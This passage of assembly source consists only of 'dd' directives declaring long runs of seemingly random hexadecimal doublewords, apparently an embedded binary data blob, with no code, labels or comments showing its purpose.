0B7556163h, 9A520B45h, 0C5A66D5h, 399CF557h dd 0C4B4DEAh, 602712CFh, 8D893D60h, 0B5A5CD5Fh, 5A7CDA6Fh dd 0D1C013FCh, 0FD93DA7Fh, 0BFFF0507h, 0E190FE51h, 28A2C0E6h dd 0B51BE9A4h, 0F0C89B90h, 1E703900h, 5D681917h, 5488019Eh dd 0FD8A97E2h, 89A93F5Bh, 0E8E6D2AEh, 95A3F004h, 51B5FA2Ch dd 5419F552h, 9209DC08h, 7149CABFh, 5DAD44C7h, 4888B96h dd 0C63D13BDh, 0F106045Eh, 9DF6EB08h, 92F09CD8h, 97DECCB7h dd 8FA60BDEh, 7307F509h, 6D5EB192h, 0D1FD3E18h, 27935CB9h dd 0D932F217h, 0A69F9944h, 0ACD286B8h, 36524A2Ch, 0DF94695Eh dd 0CBB8925Ah, 333ACC4Ah, 8525D09Dh, 45352551h, 50B4C103h dd 6EBF852h, 5A9F172Fh, 0D271BE5Bh, 6410401h, 6F2E0B79h dd 1B235Ch, 0C47B21B7h, 0A113EA9Bh, 98BE6082h, 195F15BCh dd 0B0808FF9h, 53F4E938h, 0F73B7E2Fh, 615F6910h, 73793A97h dd 76C55058h, 0BE0A3013h, 0AEC1DF30h, 5BA3000Eh, 0C781CAD2h dd 8254D89h, 8B3FD473h, 29732050h, 3A4870h, 18F4A034h dd 81948A91h, 0F138F304h, 0F3EB0CCFh, 0A52077BEh, 0B5313925h dd 0C451332Fh, 67E7A68h, 0CF4B4863h, 60164017h, 6CE2DA8Bh dd 2FC08901h, 0F9179FB0h dd 0E0E62B16h, 80945129h, 12C73593h, 0F22F53C8h, 0E2F87C5Bh dd 96042205h, 0B7507380h, 0F80CC990h, 0E1D1EFF7h, 0F830D387h dd 3A976C94h, 510C732Eh, 6401D008h, 68AE5309h, 4AF0D898h dd 8918E30Fh, 103DDF63h, 0C578DB84h, 9342D04h, 1074FA96h dd 4A3DCBBBh, 0DB5E5230h, 0D9760EFCh, 0D200304Ch, 61DDA731h dd 96585A11h, 0CF16DFBCh, 9CBA2E5Bh, 1A9703B1h, 0DD9D424Fh dd 53970D70h, 181A5934h, 1AA0F20h, 6105023Ch, 4A5FF23h dd 0B24DE63Bh, 0CC4B3119h, 0CE8C784h, 5785292Fh, 0B5092401h dd 0EBB6544Dh, 9BD7C0E3h, 0F866817Bh, 0F97A1518h, 11FCDEh dd 0B022FD5Eh, 0CDE4C1C8h, 1600FAB5h, 0EF2099B5h, 404F17CFh dd 0A94B714h, 1700184Ah, 497BC23h, 25B18B32h, 9EC2BFE9h dd 68E0DE6Dh, 96239B6Bh, 0E31012CEh, 0C06A4E98h, 0C4DA0600h dd 490B4118h, 11C90350h, 9623E981h, 56DE4A0Eh, 0E9F10115h dd 8B1C7441h, 7ABCF7A1h, 0C0590380h, 0F84500CAh, 92DF305Fh dd 7B0B94F9h, 7E773E2Eh, 13AC0026h, 0B14A9778h, 0A85863B7h dd 37ECB44h, 3A4D55A4h, 49A1F689h, 0EBA03B6Ch, 0B33400F3h dd 0C5D7431Fh, 5C14EF27h, 801FAE77h, 0FAC1CD96h, 5BC5F041h dd 2DE0F090h, 293E044h, 5AF7955Eh, 4F40E341h, 0FC186718h dd 0D4C2843Dh, 0B641B70Bh, 0E1B7F583h, 0A005703Bh, 0EE25BB00h dd 4ECDA86Dh, 21788Fh, 509B4692h, 5912D13Eh, 0A5DA3500h dd 0F11E71D2h, 56E928BCh, 3FD01D86h, 1A3740F2h, 0B15B759Bh dd 0A2030500h, 1DF025EAh, 0B47D0FB2h, 3A6038D7h, 0BF88BD52h dd 0F44CB00h, 677C6579h, 0A63B0027h, 0F52F5CDDh, 4D00D9C7h dd 6871B2DBh, 27AA085h, 20708114h, 20DFA2EFh, 80513DBFh dd 0B4475BDFh, 6DFEEEB7h, 0BF733800h, 0CE3ABD22h, 47C0F13h dd 0D129BCDFh, 23800E74h, 35759314h, 8D6C0681h, 0B4A4B548h dd 0BCAD6628h, 0A0B89D06h, 5E6293EDh, 373FB4D1h, 0DA3D800h dd 979FE8F9h, 0C023DCF0h, 2E9A1D88h, 0E431DCB3h, 63172CAh dd 2894210h, 7A4CDAA1h, 0EC449D8Eh, 15D4E7C7h, 5A3500EEh dd 7E1122B5h, 0C6005C91h, 0D8B42FB2h, 0F3EA37h, 2BBE513Ah dd 0DC9B741Ah, 81C55B01h, 0FBEEB931h, 0BDB5B020h, 0DF987748h dd 217EAE79h, 80F0833Bh, 4E2D62ADh, 75CC17CAh, 680100C1h dd 0EBB4E926h, 9B031C9Fh, 0B3DD9D19h, 3651F05Ch, 45B0C063h dd 0A9ACF3Ah, 9CF3EE06h, 22ECFF54h, 0F20096E1h, 83B85739h dd 0C0EF1DB0h, 0D2B43587h, 0A100EC8Fh, 7506456Eh, 0E424DAEh dd 32C598CDh, 4B5634D2h, 90008CF2h, 6A77FBDAh, 33477500h dd 0B6BED5AEh, 907A60D1h, 314A7B2h, 38858A00h, 8078841h dd 5E6DE0D3h, 0E0B1B05Ch, 206AAF24h, 0CC58404h, 13F88580h dd 0C946004Ah, 4CC3CB94h, 6D008117h, 2B476F74h, 6287CFB6h dd 4614DCE7h, 60EB6625h, 0DF35B621h, 34171000h, 2136C2C7h dd 3755177Eh, 0C1AC70h, 0D21DC408h, 0B9554BBh, 295EB1DCh dd 10C65D02h, 0A85222F7h, 0B60848E6h, 97484Ah, 0AF2DA05Eh dd 0D7311C72h, 1048AFEh, 82F55612h, 0DFF9C227h, 0B19DB300h dd 0D500B530h, 8790ED3Ah, 5D3DB9Ah, 49F1832Bh, 0B3A6001Ah dd 64ABE39Ch, 8C7DB47Eh, 0A5B04D00h, 828D0112h, 0F29C0335h dd 0BDD0E81Dh, 89CD2100h, 1182F58h, 178E60F9h, 5532E2EDh dd 260FC9h, 0AB3EA99Fh, 1BF4019Ah, 23ECA35Ch, 8B88D8EEh dd 4139400h, 542EF235h, 0E2F30186h, 80070FACh, 34DEC59h dd 588DF817h, 0FC0761ADh, 627E6978h, 0B1418709h, 4FBECD0h dd 3024AE0Ah, 0FBA08767h, 6EC11DABh, 0EF8E7A40h, 832C50h dd 0AE19F696h, 0F5C6C861h, 789AED18h, 1F20E9C2h, 0C04A21ACh dd 309B0699h, 5C0032FBh, 1B9F7EB3h, 4BDC6h, 6485CA87h dd 6F364571h, 0FC1DCFF2h, 0D9C15869h, 223F978Ch, 0C67FA28Eh dd 0B4B64922h, 6D824F5h, 82DA3EC0h, 0A805281Ch, 3D4702F0h dd 0D6919958h, 0E5C74060h, 7E2CB998h, 0B20338C5h, 113552h dd 14CD811Ah, 67260B15h, 18085F32h, 432B6447h, 0B38ADh dd 0FF3BBCB3h, 6FCF7CCh, 1625B882h, 805E8FCAh, 40DED8A2h dd 0B15E2DE6h, 0FA07EB7Ch, 0E85AFC32h, 0E04E102Bh, 0DFC8BD39h dd 0D70042CDh, 0A7281F6Ch, 737FABFh, 9F320F82h, 50A00E8Eh dd 15563139h, 0F6FEF3A0h, 0D916Fh, 48864FE7h, 0A8AE0005h dd 0EA10CD3h, 7B281129h, 7103CCD8h, 9CEBF30Ah, 0DF1009D9h dd 660C7880h, 61006C0Eh, 0CA1763F6h, 1F4C6F1Fh, 40DBA9CBh dd 0DF8FE525h, 2ADEEAA8h, 98461280h, 9185B0h, 0C59C42Fh dd 0C201A6AFh, 82345B00h, 8C73284h, 0CAFB3987h, 0FAF7BA00h dd 8FF0F867h, 50071F09h, 35C8809Ch, 0FC137Ch, 0EF98A0C7h dd 8C47E516h, 83588175h, 151D87ECh, 111D6Ch, 0E68E7306h dd 2F38E7FAh, 7B834207h, 49903904h, 53DF2C37h, 860FC929h dd 0B5A0F481h, 0E2AC75AAh, 800B374Ch, 305EF744h, 953E0021h dd 6C92F4B8h, 995C2364h, 55600030h, 324A7FEAh, 1DF300ACh dd 707185FDh, 0F6171975h, 5F4BB2A9h, 86F6E8h, 4743FC23h dd 241735C8h, 0DBACAE6Bh, 0F3DF8782h, 0B69BF960h, 9CE95A00h dd 0A40F8EA5h, 0A7603C57h, 82932680h, 7CE030Ch, 7117E1B9h dd 16BE11ACh, 0AB430E68h, 0C1242C89h, 11900B66h, 76447A1Ch dd 29E78034h, 8B06170Bh, 0DBE0D41Ch, 0D2FD1EF6h, 515E0A80h dd 42FC6855h, 5D480271h, 0E4D133BFh, 0B3F5B343h, 890C1F4Eh dd 0F101CEE9h, 8B5919A3h, 0A527C3Eh, 29C281E2h, 87F88325h dd 0FF5CF914h, 0F05B269Eh, 51DDE994h, 0D69DFB7Bh, 0B0B84007h dd 44BD172Eh, 3A70FAh, 0F25521E3h, 0CDD52BB6h, 37285300h dd 0CA68DDAFh, 8AB0B4h, 342CA6F1h, 17882D41h, 0B97E2200h dd 76530C18h, 0F5280044h, 2E9F4E57h, 1F005DA6h, 3F4772A9h dd 73DD909h, 3179F563h, 388090BDh, 322D6C3Ch, 0B7404E36h dd 85000B35h, 4B80D6B8h, 7DF32787h, 606B18F4h, 0E8DDBF38h dd 0E2624A18h, 5453006Fh, 0CFD6E18Fh, 8E7200E8h, 0EE59DA6Dh dd 505BEBEDh, 0DD2BB420h, 56350020h, 36D6A6F4h, 1536DE1Bh dd 4E6280A8h, 5A1AA2FEh, 0DAF5ED89h, 0C41AE0h, 0C1D60BD8h dd 0CE5E306Ah, 3536C2B5h, 52478E77h, 0A4D2A580h, 80C07C4Dh dd 19F781DFh, 1D432D5Fh, 92F137FDh, 2021FE61h, 142131C7h dd 0CE5A6810h, 483B001Dh, 458C03D3h, 0A458CA70h, 51C14F2Bh dd 0FC2B8529h, 589C5B14h, 90923402h, 6B3A00F0h, 6A58D680h dd 0C6377100h, 16424733h, 0A86300FCh, 70E30EEEh, 3B0ABB18h dd 0B35856C1h, 0B5605003h, 8402A5C4h, 0F9310F5Ah, 0C077258Bh dd 26134848h, 120D3455h, 0D517BE17h, 6AF83F81h, 0F488F66Bh dd 3100B3ABh, 0AFB346F9h, 0A9ACED2Fh, 28803A2Dh, 7327DE5Dh dd 42F14F27h, 9FAAF0AFh, 5546ED1h, 4B89ECBAh, 18EA27Eh dd 9F664492h, 0C3FD54Dh, 0FF71A502h, 0DE6ED15Bh, 0DD975B00h dd 4B5133BBh, 25563667h, 0B69C7D7Bh, 39A89E96h, 26ADA13h dd 96B8B2B9h, 0D3A02900h, 0B790563Bh, 4119074h, 851091B8h dd 84148763h, 12441461h, 824D0F4h, 0F85D9CBAh, 8FDCDBBFh dd 712989DEh, 0EDE96A22h, 0D17059D4h, 0E1D78231h, 7A7E238Bh dd 1FD61470h, 626D259Dh, 0D67D7E88h, 86001546h, 8D4DBB23h dd 7C9D43F6h, 0A6300461h, 2A74D95Fh, 7EF3EAFCh, 25523238h dd 5E377F5Fh, 0C36BB30Fh, 0BC910346h, 23AE0BBAh, 72FB45FFh dd 9FFF7AD7h, 0B81298B3h dd 0DABE4AAEh, 0D9F6935Dh, 5430F2Eh, 0AF1F29BDh, 0EC0A4960h dd 57FE00F9h, 60457C61h, 71000974h, 0C4E3C214h, 97F5D5C3h dd 5DD299F3h, 591D0FE6h, 0E5E46DC5h, 4BA0F167h, 4D230AEh dd 0A1B5FF81h, 729EFB13h, 9CECD8Ah, 0A6D41B49h, 515E851h dd 0A8331D50h, 3C9D8FF7h, 8D103121h, 71E40117h, 0F1D9057Fh dd 1BB3FF03h, 0BF51C030h, 0B12D24CEh, 0D7EA4231h, 851263DBh dd 0C1D670BFh, 92F8D31h, 32935932h, 0D8D4F91Ch, 6A95A73Fh dd 90D97E9Bh, 0E20928DFh, 887F2D44h, 760CBB60h, 0DE4FDBCAh dd 612E4059h, 55C200B5h, 12314947h, 0FE08CDB5h, 5125EACCh dd 8AC00913h, 874E9DF9h, 66FC6000h, 963CCE81h, 43E92461h dd 0F9316250h, 9DE2C5D4h, 4AF1D718h, 574B8EC8h, 8557191Ah dd 0CBBE155Bh, 79BD0898h, 16664814h, 0BACA6FCh, 0D616A4DBh dd 6800DE2Eh, 0D49063A4h, 9AB4B84h, 0C18589C5h, 632D87F9h dd 57869A69h, 95D4CE56h, 0A271D2B0h, 0B9D98B04h, 9EFE10AEh dd 0AEBC82F0h, 0E31077E3h, 0D5009C3Dh, 464878E8h, 0B540120Fh dd 68547F09h, 16E45569h, 785CBB02h, 0EDFC77D6h, 0BEE1E0E8h dd 951C7610h, 12AF6921h, 45595D98h, 1BE2B080h, 65FB2Ah dd 0CF81C02Bh, 0DF13977h, 6695BA70h, 0B3240B6h, 7899BD25h dd 15F4BD03h, 9C1756FCh, 3EFEAE00h, 895260C0h, 17F6D197h dd 0D588E05Bh, 7A893AF5h, 0F4C2E62Bh, 9D9C8FFh, 30822D30h dd 0BF27ED8Dh, 85EF6A76h, 0C3A81E6Dh, 0A83AE9B5h, 3A5D03ECh dd 0DD752E77h, 0F5F3D209h, 795182h, 507B9DB7h, 61021314h dd 0A01F060h, 9A425F55h, 6486975Fh, 68B96015h, 53FB2D8Bh dd 69E73154h, 94F72F08h, 296C61F0h, 2AD19D33h, 6AFA6716h dd 0CF605FC7h, 423BF01h, 3CBB66A4h, 86B3EFCCh, 2C659D08h dd 50455BC9h, 9201F649h, 0AEE09630h, 0AC2FEEFFh, 0B5298166h dd 386A27BDh, 5D8A74FAh, 9E057D46h, 0A65595C2h, 0BA01AA00h dd 165CBFF1h, 0B2452310h, 456D8D0Ch, 0AF11766h, 0C286BE1h dd 0B7045E0Dh, 228FA0B9h, 0ADA9045Ah, 0FAB58914h, 0CAFCDF53h dd 34C84524h, 1B2AE66h, 28458DC2h, 1177B5F5h, 55D8811Ch dd 35ECF66Bh, 0E8C427AAh, 4305F464h, 5D28EAF0h, 0D2F9B1BFh dd 0B5DAE657h, 0AF460124h, 98A130A7h, 87BD2BF9h, 0D252FB8Bh dd 0F960FBAFh, 1D5F9074h, 57D2635Eh, 0EB98BB51h, 876AFFDEh dd 7202F911h, 6FC608C9h, 757C8BB7h, 3D9E6A10h, 0ADF3B700h dd 9D5D6186h, 635901D9h, 0F9BF0FF7h, 88E86B5Fh, 12C955B7h dd 0F59EAA8Bh, 8BF6B001h, 0D35F61F0h, 0F51D32Eh, 70BDCF60h dd 0E7131252h, 6735FA5Bh, 38775DC8h, 82963372h, 7CC1FB31h dd 0FF2BB5D9h, 5B586A32h, 0ABF2733Ch, 0F2BD96C1h, 72AFDB7Fh dd 0C7002253h, 0AED87105h, 811939E7h, 0E1D516F9h, 12DDA314h dd 314FBCE9h, 0DDBA720Fh, 96B87A5Ch, 0B9845281h, 0E5176A8Dh dd 0F4B7BEAh, 0DDF0771Ch, 0E5DE8242h, 2DE6D41Bh, 4BD8B8DBh dd 0B7872D8h, 0EA2164DFh, 0EEB50358h, 0E0CA4AA1h, 5116E0F3h dd 0FFA79219h, 0A125B65Bh, 206B33C6h, 0BBA5CBA0h, 53972100h dd 1C870B3h, 77477B2h, 0D3AB09FEh, 0FFA71414h, 6FF074B6h dd 0DB029FC4h, 9D898E8Fh, 5BFB7F2Dh, 0B5F8099Bh, 9A93E0A9h dd 0E4698253h, 9A059F5h, 0EAFF0C7Ch, 1F1E70DAh, 25C366B7h dd 98A73DFCh, 0CA4B30h, 84546A8Dh, 0D687F8CBh, 0CFB329B5h dd 72C43D2h, 893E9290h, 0AE5B74B7h, 6C3D009Ah, 4F7C6D68h dd 0FA8B7B1Eh, 7F9296F0h, 0BBFF250h, 89A8CBCh, 8934B17Dh dd 3EC0C068h, 0BEB75074h, 9A7F549Dh, 0CDDF69CDh, 0CB39694Ah dd 1131607Eh, 13612E40h, 0FEFBCF80h, 26264E3Dh, 33E81CB1h dd 2B6005Ch, 0CDB17908h, 7A97CF8h, 0C7D3ECA4h, 9269B710h dd 0C77EE0D2h, 0F72E4D51h, 4155B04Bh, 526305DEh, 0FC538C54h dd 60288F5Eh, 80CE2B34h, 5BB009EFh, 17DC605Fh, 315A5160h dd 8552ABDh, 0A5D1B791h, 2350959Fh, 45B2D9EEh, 2567CBA6h dd 3832147Dh, 0EE4E042Eh, 91020C6Eh, 703FC36h, 0C61B5C0h dd 5A7DE4B7h, 22B68E16h, 0DC3794F5h, 0ABAD360Fh, 0D3846317h dd 27F8CC1Fh, 0D87AFA5Bh, 33F6413h, 39C1774Ah, 93D4C19Dh dd 6A6DF1EEh, 0FCC1F334h, 6B6ADBB3h, 21723A0h, 0E065C12Bh dd 130204D7h, 3879CBFh, 8262D4BDh, 0D88A96F8h, 0C98302D9h dd 0D00C4A66h, 2DFA61Fh, 9169F162h, 0E9031409h, 53968A5Bh dd 62577061h, 45E4F900h, 0F19D0958h, 0E4F4B72Eh, 91309FDCh dd 2021431h, 0C8DC49AEh, 923C04Dh, 9F69517h, 5D9F09C9h dd 0B9238179h, 35B25716h, 0A087A74Bh, 3B36D5CAh, 8A8B3318h dd 10D7F554h, 0C7DC49h, 7E0EA353h, 0E959AFC8h, 0B5AB1B00h dd 275C8031h, 1A03CD1h, 0FE223917h, 0DA200CDDh, 0BA2E5ADDh dd 0D85EEE6Eh, 10023A76h, 35166DB2h, 282656ECh, 200BB508h dd 0DE5EA3EEh, 1CB256A6h, 0D56C30h, 0C2182F78h, 23513ABFh dd 0F4899D2Fh, 0D20452DAh, 0C5A05705h, 0AB2EE32Fh, 6E13F26Fh dd 80A1AD89h, 0C264E8F3h, 0C7FABC32h, 94058BB7h, 0F9FE9444h dd 0FF8B8F6h, 961FA69h, 115856E9h, 35F4084h, 0FD2552FBh dd 8C14AC3Eh, 4780484Ch, 3EF64BD7h, 9D26F96h, 826F6A36h dd 0FE511C29h, 4A494061h, 1100C605h, 0C730697Eh, 0ABF505Fh dd 7026D66Ch, 0A5C0AFA3h, 830AE381h, 875722F5h, 77F98BC2h dd 213E9EDBh, 0FFFC4514h, 71A59AA6h, 3FBA0905h, 94800FBCh dd 0E8E277CEh, 79CACF00h, 0A2EB203h, 849601ACh, 7195013Dh dd 0B4281411h, 0D914B5D9h, 0D8107154h, 73BD3AB5h, 0A75D52FBh dd 0F5D9494Eh, 37006366h, 0B92A2124h, 2D05BBh, 8184DA46h dd 8672D060h, 0E138F80Ch, 40513E29h, 0F4BF5F07h, 4C02F4B1h dd 0E38056D8h, 99D1FFADh, 0D4FADEEBh, 15980603h, 512880Fh dd 0B9666019h, 0FDC40Bh, 0BAF70F2Fh, 0C82EE297h, 5112A25Fh dd 0C1144BFFh, 0DCF5FCh, 0F65FF8B3h, 1F813DD8h, 19EE91B7h dd 13A6AF30h, 0AF176B94h, 0FD0054CBh, 1A520168h, 0A80786A2h dd 0E5DD4E9Bh, 45317D17h, 0FB605F3Fh, 4A5A5B5Ch, 9E99C5D0h dd 0AB53F468h, 5A2F93A2h, 8B62AD5Ch, 4187D07h, 0A01E881h dd 8075735Eh, 0C0E494CFh, 5A9A708Dh, 0D1F258h, 0A37C97C4h dd 48E1C41h, 29322277h, 0AFEBC5E4h, 0A84F31A7h, 6E3000A8h dd 1DBEC4B0h, 3251002Bh, 27EF4776h, 0D938B34Ah, 2A80E05Eh dd 0A60D60EAh, 0A67FCCh, 21410E5Ch, 0B5B6BE52h, 5950D678h dd 0B70007FCh, 5AEF8148h, 5051D210h, 0DF568AF5h, 1EA490Fh dd 1412FC99h, 2D319604h, 25E905h, 0A965F06Dh, 574AAA66h dd 0F5B93DBBh, 827C5Eh, 2D1380CEh, 7FA474h, 77D1F437h dd 0D3BA900Fh, 18A72A1Eh, 0AD1A215Dh, 96042110h, 108F30C1h dd 8CC10E81h, 0F870711Ah, 0F00D2B7h, 0A93855C9h, 39BF062h dd 7F34FF45h, 0F9C0A141h, 8E0502DDh, 276A7B98h, 0C1CF51C0h dd 266E00CCh, 0A4474244h, 2E008F21h, 0DD048B1Eh, 9D4950h dd 0AB63AAC3h, 0A0EB8DBCh, 86FA4000h, 0AACDB06h, 305E3E83h dd 0B4E3FE80h, 172B8844h, 14F93Bh, 0DDAE5FB2h, 4AFBECh dd 72B30D0Eh, 0C29FF0F2h, 0F4DA6B01h, 0CFC124B8h, 73BA5ECh dd 5AB52C60h, 3D6B20B4h, 8D3C26BBh, 0B0A9984Bh, 18A5841h dd 40D22907h, 0FC8B205Ch, 96004B41h, 0D06B0B32h, 68A39CEh dd 11C1F586h, 890F3948h, 15F1385h, 833CD23Eh, 29809EE9h dd 0C22291A5h, 633F298Fh dd 0BCA8F5D0h, 0CA0019E5h, 954DE9C6h, 7AEE0A33h, 9AC7005Eh dd 0F7407A20h, 0AA0046E2h, 98761AC5h, 26DB541h, 0F66A8E65h dd 0E0A1A819h, 0C8EE1FE8h, 6972A567h, 70526200h, 1B8D0616h dd 0A83402C3h, 25EA76E9h, 1807C886h, 0CB99C600h, 477BE758h dd 0EAC900F6h, 0B16A7DC2h, 0AC003421h, 0C7BCD40Dh, 0A06238AAh dd 7DA86A0h, 7204F5C5h, 333AD01Ah, 0A100C29Dh, 0A448DF09h dd 8DB929h, 8CD966D4h, 9A474655h, 57BF6C03h, 0C010CBh dd 0D4E8CDE8h, 0E22BE092h, 27092906h, 98945Fh, 127EE372h dd 0BFA42184h, 30342B01h, 914BD797h, 0BA5041BFh, 8DFF00CCh dd 0A2E87CE4h, 1D0036D1h, 7675173Bh, 0E466309h, 0C915F49Dh dd 0C0807B4Bh, 139EEF74h, 4D903702h, 40D42760h, 45B880h dd 0CA6D9B46h, 83F422BFh, 57ECC707h, 0B20099B7h, 0C554770h dd 5A760FF2h, 0D40063A8h, 0BA352B6Fh, 18B60407h, 0A087B22Ah dd 2C004024h, 206CA773h, 244A34C1h, 1FAA9F42h, 29B8D9B0h dd 2838EC26h, 0B12D3C02h, 8081909Ah, 72324A9Fh, 86F534E6h dd 0C8F68028h, 0CD123DF8h, 0F4F14h, 7767168h, 0F960787Bh dd 0C4DB00B1h, 68A0469Ch, 0EE131CC5h, 0BF012A16h, 33E3B459h dd 9C45FCh, 5F0188E4h, 0BC2072CEh, 0B0712F1Ch, 6C03A952h dd 818FD338h, 984210A4h, 0F5BC4864h, 11BC2428h, 1FDF4040h dd 692021ECh, 4AECA7h, 835C5B85h, 0EB9D180Eh, 31EA2307h dd 7C212A65h, 0CD8A14Eh, 0E149000Ah, 1C56FE55h, 94A024F0h dd 570539A9h, 78BE8A43h, 0FC953580h, 1743B805h, 21DA33h dd 0DE322D2Eh, 9FF489FBh, 940020F4h, 0F41C6048h, 1F71B296h dd 9D6F7DE2h, 36140062h, 731952DFh, 0A1303460h, 9AA8BBh dd 1B2A3A28h, 7CDC5ACAh, 0BF773F00h, 0B7FEE3A9h, 99480044h dd 354585E1h, 743011F4h, 0D665403Ah, 0A95600B3h, 7F8F7DD8h dd 8C01F9C6h, 624454FFh, 28802B24h, 0AF9A26B5h, 50045DEh dd 97CC91DBh, 0E0600D89h, 9E8D047Fh, 0C067B770h, 0A5FBD9B7h dd 0ECF31900h, 867C14CEh, 801C3E0Dh, 6813CBBFh, 0E1980025h dd 0D56D1FA4h, 77046090h, 0AF67D082h, 6679A081h, 25E9630h dd 810D2592h, 0B0804AF6h, 7E632ABDh, 67A35000h, 2561439Bh dd 0B4A8CF1Fh, 14B6BB23h, 788C20F7h, 5A005B89h, 0EEFE66F8h dd 7FE47Ch, 796AFF3Bh, 0DE052218h, 88D5B200h, 0F558365Bh dd 0F6EB0077h, 35D3FB69h, 8204A132h, 0D449074Fh, 7D2E1E00h dd 0C50026DCh, 7BE8ED78h, 95255A5h, 0C4F3EE9Dh, 4AA9230Fh dd 0E29AD700h, 649865FFh, 0E4739B00h, 87D93B2Bh, 52CD00DDh dd 0A32BE1Eh, 3C00216Eh, 0B7B2B96Ah, 0F89EE2EEh, 46F90EA4h dd 0D9C049C5h, 75866C2Fh, 825F2A00h, 6DBB154h, 0F21E00D8h dd 79957CC1h, 0A607348Ah, 0A36B1D3Ah, 0A2865420h, 0B02C18B8h dd 0F62F6815h, 0EF144403h, 0E0B5F2B2h, 6078046Bh, 8E732164h dd 3630377Ah, 0AFF570B3h, 4AB6C1FCh, 202AC099h, 0D0411ACh dd 0AE87E8A0h, 0DB8DA080h, 0F8840935h, 0F80050E3h, 41FA0DF2h dd 31087500h, 2C945355h, 0A6906C91h, 0F600A958h, 0B89576DFh dd 1D9F28h, 0C3669423h, 0FFD117CAh, 4D0ACC98h, 0F02F1A6Ch dd 0C428B700h, 12239B4h, 5D15F818h, 0C0E1AA3Dh, 0E90924D2h dd 0E5BDC05h, 806A0A0h, 808D4Fh, 6E33D58Eh, 6AAB3972h dd 5CBCAA50h, 0B95728C0h, 58D09C55h, 1F00545Dh, 0D1653571h dd 0F000F19Bh, 2C173A9h, 0B40801h, 3D51FB98h, 28DA13A4h dd 4363024h, 589DA100h, 7AF10144h, 99A60095h, 459E519Bh dd 2100384Ch, 0AE9611C8h, 13C174FDh, 340CC7Eh, 4CDB4885h dd 0D0ADE380h, 325F8304h, 4C970754h, 8EF01757h, 7DE4CAh dd 0D63B19A6h, 0A0914937h, 0BFC87600h, 84C108A8h, 0F417A4Ah dd 0A589C572h, 0F0253340h, 0DA9817F2h, 81954200h, 3A4C2E3Eh dd 97A8A088h, 0A57C0108h, 0C9AABB46h, 1CB864BDh, 520001E6h dd 8E7F37A0h, 0B29A42CEh, 9CAB00F0h, 0A7C0D535h, 0A9F0B0CCh dd 7D7E520Bh, 3688806Ch, 5E59FDh, 2EBD1DA2h, 0E1ABE376h dd 8028DF3Ah, 45F9FB9Dh, 1E7C2957h, 4014D740h, 5FB04212h dd 200A4B8h, 9F77CFFAh, 0F2FFEE05h, 0EA6FB067h, 0C021006Ch dd 40A8E591h, 1600A52Fh, 0C4C6FCDFh, 0B24BEF1Dh, 75D20050h dd 2AE7F03Eh, 5B01B488h, 0C14EE1B2h, 0F4FF944Dh, 0AF24C0EBh dd 61008231h, 0AEBF3A30h, 69B9CCh, 0CB181C83h, 0FC20DFADh dd 1F331903h, 0B811FE08h, 94E88343h, 3F12013Ch, 2466A3A4h dd 1100C468h, 5D827264h, 902EA201h, 46260082h, 0C669974Ah dd 0EC2C1AC7h, 0C0406C48h, 4FF321h, 0D477A53Ch, 57FB29B7h dd 7CAB3600h, 432AEDAh, 4AB9861h, 7193A888h, 30B880D5h dd 7A74F7C2h, 2ED98E17h, 0AB57C845h, 0B2906897h, 743086F7h dd 71920CEAh, 0CA38D41Bh, 653C80F8h, 0B1BF825Dh, 40E424FBh dd 687C39h, 0AC2D7BD8h, 5632759Dh, 0CB0036F0h, 0F038FB89h dd 0F4722A4Eh, 0B65F307Ah, 0ABAEA768h, 3D36823Ah, 0D1C3002Bh dd 2F8AB426h, 99B9E597h, 5AB26A00h, 5F09CB47h, 0FE026774h dd 6F280C5Ch, 56A8A0D8h, 134ABECh, 97034EE0h, 0F0A26527h dd 91247380h, 0D80092FEh, 0AA30EAF3h, 0BD30372h, 8FC01C5Eh dd 54886FE8h, 51439F00h, 0E66D4555h, 1BE40052h, 155E32AAh dd 9A004885h, 346292BBh, 172633Bh, 2B3DB3BEh, 80D795FAh dd 6A85F389h, 0C875D09h, 6F54B1CBh, 21C0E908h, 0A26A7E16h dd 30F60082h, 0B958A13Bh, 0FE0054B3h, 7B4A7424h, 6391336Eh dd 8897185Ch, 0E05E3801h, 30E5D6C0h, 2A2020BAh, 0C888D374h dd 0A6B6402Ch, 33096310h, 60FEA064h, 770D6A89h, 1A07875Dh dd 0BE676A82h, 0C243A672h, 11241D4Eh, 8CE880F0h, 21DCAD6h dd 0E68992ACh, 0C85980DEh, 0FA765A03h, 7A30F72Bh, 741457D0h dd 3E0B3D9Fh, 54A580E2h, 92EB5E00h, 732E2A2h, 0BE885BD7h dd 0BBD280F3h, 1A280DC0h, 5A00D964h, 6842D586h, 3CFEF8D4h dd 3800D890h, 2DA2F77Ah, 60081BCh, 0C579E30Dh, 28B3B4h dd 5A3A147h, 77A04A0Ch, 0FEF9E1Eh, 8EF157C0h, 50C335h dd 7A05DA49h, 2E6B060Ah, 8BEC9900h, 2369F7C5h, 949879h dd 0DA3D6780h, 0CF8629A2h, 411A3EFh, 0D626FEE1h, 0B7AB1080h dd 5442D453h, 0E032F000h, 7F108F72h, 7A29000Dh, 55C54919h dd 0C13C665Eh, 5D4B0037h, 0FBADB6DAh, 944F38F2h, 0F8EB8680h dd 236D2EEEh, 89FD0E04h, 5CC0AEB6h, 3AB55ADEh, 409E6231h dd 787B0070h, 56AE9B9Ch, 0C8084200h, 0D3372941h, 0D7090065h dd 548BEAF2h, 111C5E6Dh, 688191BCh, 48714F8h, 1EDADDCh dd 0C146CA9Ch, 60CC301Dh, 0AC015E6Ch, 0D1B122C0h, 0BDD81BB5h dd 0E18A39ADh, 3AF2B780h, 0F7DADBA5h, 0CF028900h, 0ABC7557Bh dd 6083F0C0h, 7598902Fh, 0E0009A3h, 0F38A21F4h, 3B596730h dd 4C898414h, 7F804997h, 2E9A5DE2h, 0FD7CAD00h, 9520041Eh dd 0D82A5099h, 57491523h, 0EE00B827h, 4A7252D9h, 0D4FEAD90h dd 0FD38E7EEh, 9A8D0119h, 0AA66DD46h, 6051D7ECh, 507388BAh dd 3B1E1C8Ch, 948059E0h, 9D2A24ADh, 607162BBh, 7D20D8E8h dd 283250D9h, 0CC5E9Ah, 3957E315h, 1FF19893h, 94139F0Eh dd 2B36601Ch, 63756Eh, 8E05D7F6h, 29CB3CE5h, 0DF00AFF2h dd 6432B45Bh, 3DB0E0h, 0B59FE74Bh, 933C6775h, 0AFEB4100h dd 606FBD0Eh, 2CE00004h, 0D5E307A5h, 0C2018C9Bh, 0B68413C7h dd 0F0508083h, 54A4Eh dd 93031BD1h, 0EE142EB9h, 44ED8600h, 0BE5E39D3h, 9A9930C0h dd 40584C31h, 42313C00h, 3ED92EC8h, 0F8A90097h, 4F84D678h dd 1F7BD5D4h, 